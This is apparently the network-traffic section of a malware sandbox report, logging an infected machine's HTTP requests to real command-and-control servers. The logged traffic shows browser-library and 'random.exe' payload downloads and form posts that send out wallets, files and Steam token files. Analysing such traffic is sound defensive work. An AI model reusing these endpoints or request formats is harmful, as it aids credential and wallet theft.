2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file"------KKFBAAFCGIEGDHIEBFII--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKFBAKFBGDHIEBGDAKFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wallets------JKKEHJDHJKFIECAAKFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="message"files------KKECBFCGIEGCBGCAECGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file"------KKFBAAFCGIEGDHIEBFII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"ybncbhylepme------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005680001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="build"mars------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 03:02:29 GMTIf-None-Match: "6732c545-1bfe00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 38 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005681031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005682001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="build"mars------CAFIEBKKJJDAKFHIDBFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
